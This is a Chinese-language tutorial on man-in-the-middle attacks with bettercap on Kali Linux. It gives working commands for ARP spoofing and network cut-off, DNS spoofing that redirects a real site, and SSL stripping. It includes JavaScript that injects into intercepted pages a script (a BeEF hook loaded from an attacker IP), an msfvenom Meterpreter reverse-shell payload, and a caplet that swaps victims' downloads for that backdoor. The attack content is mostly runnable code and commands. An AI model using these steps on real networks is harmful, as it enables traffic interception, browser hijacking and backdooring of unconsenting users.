~~~~~~~~ 因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ————玛丽亚·杜埃尼亚斯
前言
提到中间人攻击,最知名的莫过于ettercap,这是kali下一款优秀的ARP欺骗工具,但是它自从2015年开始就没有更新了,同时在大型网络环境中ettercap的主机发现以及欺骗功能效果较差,于是就诞生了bettercap。Bettercap是一个非常强大、灵活可移植的中间人攻击框架,它具有跨平台、轻量级以及模块化等优点,在渗透测试过程中能够非常好的进行中间人测试。
安装
在kali命令行下运行
root@kali:~# apt-get install bettercap
使用如下命令打开bettercap(注意:一般打开就会列出局域网中存活的主机,但是我这儿没有,是因为主机发现模块没有打开,打开就好命令:net.recon on)
root@kali:~# bettercap #开启bettercap,默认是开启的eth0网卡,如果想开启其他网卡,比如无线网卡wlan0,可以bettercap iface wlan0
使用net.show可以列出局域网存活的主机
输入help 可以查看bettercap的用法(绿色表示启用,红色表示未启用) help后面跟模块名可以查看模块的详情。比如:help net.recon
常用功能及模块介绍
#功能解释
help 模块名称 显示指定模块的帮助
active: 显示当前运行中的模块的信息
quit : 结束会话并退出
sleep 秒数: 休眠指定的秒数(和shell中的sleep一样)
get 变量: 获取变量的值
set 变量值 : 设置变量的值(有些模块有自定义变量,比如可用net.sniff.output变量指定嗅探器的输出的保存路径)
read 变量提示: 显示提示来让用户输入,输入内容会被储存在变量中
clear: 清屏
include CAPLET: 在当前会话读取并运行这个caplet
! 命令 : 运行相应的shell命令并显示输出
alias MAC地址 别名 给MAC地址设置一个别名
# 常用模块
api.rest: RESTful API模块
net.recon : 主机发现模块,用于发现局域网内存活的主机,默认是开启的
arp.spoof: arp欺骗模块
ble.recon: 低功耗蓝牙设备发现模块
net.sniff : 网络嗅探模块
dhcp6.spoof: dhcp6欺骗模块(通过伪造DHCP数据包篡改客户端的DNS服务器,因此需要与dns.spoof一并启用)
dns.spoof: DNS欺骗模块
events.stream: 串流输出模块(就是不断地在终端界面刷出程序的输出,例如arp截获的信息)
wifi: wifi模块,有deauth攻击(wifi杀手)和创建软ap的功能
实战应用
ARP欺骗
中间人攻击中最常用的就是ARP欺骗了,接下来我们使用bettercap来进行ARP欺骗,熟悉一下arp.spoof这个模块。
首先输入help arp.spoof 查看下这个模块的帮助信息
如图所示,英文不好同学的看这里!
# 状态
arp.spoof on : 开启ARP欺骗
arp.ban on : 开启ARP欺骗,用ban模式,这就意味着目标将不能上网,也就是断网攻击
arp.spoof off : 停止ARP欺骗
arp.ban off : 停止ARP欺骗
# 参数
arp.spoof.internal: 如果为true,那么网络中的计算机之间的本地连接将被欺骗,否则只能连接到来自外部网络(默认为false)
arp.spoof.targets: 要欺骗的目标,可以是 ip 、mac 或者 别名 ,也可以支持nmap形式的ip区域
arp.spoof.whitelist: 白名单,就是不欺骗的目标,可以是ip、mac或者别名
对于参数而言,我们可以使用set来设置,使用get来获取
set arp.spoof.targets 172.20.10.13 #设置攻击目标,可以是一个网段如:172.20.10.1-20.多个地址使用逗号隔开
get arp.spoof.targets #获取arp.spoof.targets的值
设置好参数后,我们就可以开启ARP欺骗了:arp.spoof on
通过net.sniff可以嗅探到目标机的浏览数据
通过wireshark抓包可以发现大量的来自目标机的流量
查看目标机的arp缓存表,发现网关的mac已经被修改为kali(攻击机的mac)
DNS欺骗
DNS欺骗有一个前提,就是局域网内的主机的DNS服务器是局域网的网关,才能进行欺骗。如果是公网的DNS就不行了。
DNS欺骗之前我们需要利用ARP欺骗让目标机认为网关就是我们(攻击机),所以主机就会向我们发送DNS请求,这样就可以进行DNS欺骗了。
首先进行ARP欺骗
set arp.spoof.targets 172.20.10.13
arp.spoof on
然后进行DNS欺骗
set dns.spoof.domains www.sina.com #设置要欺骗的域名,多个域名用逗号隔开,如果要欺骗所有域名用通配符“*”
set dns.spoof.address 172.20.10.12 #设置将要欺骗的域名转换成的ip地址(这里可以换成我们自己的服务器,里面写上一个假的网站做些不可描述的东西)
dns.spoof on #开启DNS欺骗
如图所示,ping www.sina.com时目标机直接向我们发起请求。打新浪首页进入的是我们自己的网站。
为了避免代码的重复呢,我们还可以打开bettercap的目录创建一个host文件,文件中存放要欺骗的域名和地址,然后在进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了。
比如我们创建一个host文件如下:
进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了
set dns.spoof.hosts /root/host #设置欺骗的域名和对应ip
dns.spoof on #开启dns欺骗
注入脚本
通过进行ARP欺骗,我们可以拦截到流量,自然就可以对拦截到的流量进行操作,我们可以对http协议的数据包进行代理,然后向里面注入恶意脚本。
set arp.spoof.targets 172.20.10.13 #设置arp欺骗的目标
arp.spoof on #开启ARP欺骗
set http.proxy.script /root/1.js #注入恶意脚本
set https.proxy.script /root/1.js
http.proxy on #开启HTTP代理
https.proxy on
脚本文件1.js如下
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript">alert("your computer has hacked!")</script></head>'
);
}
}
}
当目标机访问一个http或者https协议的站点时,就可以看到脚本已经注入到请求的网站。
结合beef-xss注入
既然我们可以注入js脚本,那么我们就可以利用beef来对目标浏览器进行控制。
set arp.spoof.targets 172.20.10.13 #设置arp欺骗的目标
set http.proxy.script /root/test.js #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true #启用SSL剥离
http.proxy on #开启HTTP代理
arp.spoof on #开启ARP欺骗
test.js内容如下:
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript" src="http://172.20.10.2:3000/hook.js"></script></head>'
);
}
}
}
beef不晓得传送门在这里——>kali之beef的使用
替换下载文件
在bettercap中,有一种文件后缀叫.cap我们启动bettercap的时候可以指定该.cap文件,就可以按照这个文件还行命令。
比如我们随便创建一个xss.cap文件,内容如下:
在命令行中输入以下命令就可以加载并执行xss.cap的命令
root@kali:~# bettercap -caplet xss.cap
使用active可以详细的查看框架的变量及开启的模块
在新的版本中还加入了caplets,使用caplets.update下载更新后会存储由由开发者编写的各种功能的模块脚本。我们可以通过caplets.show来查看有哪些.cap模块。
http-req-dump模块,这个模块能够欺骗内网流量走本地透明代理并输出内容。
download-autopwn文件可以保存着一些脚本,我们可以生成自己的一个木马后门放进去然后启用这个文件。当被欺骗着下载任意文件时都会被替换成我们的后门。
root@kali:/usr/share/bettercap/caplets/download-autopwn/windows# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.20.10.2 lport=8888 -f exe -o payload.exe
root@kali:~# bettercap -caplet download-autopwn/download-autopwn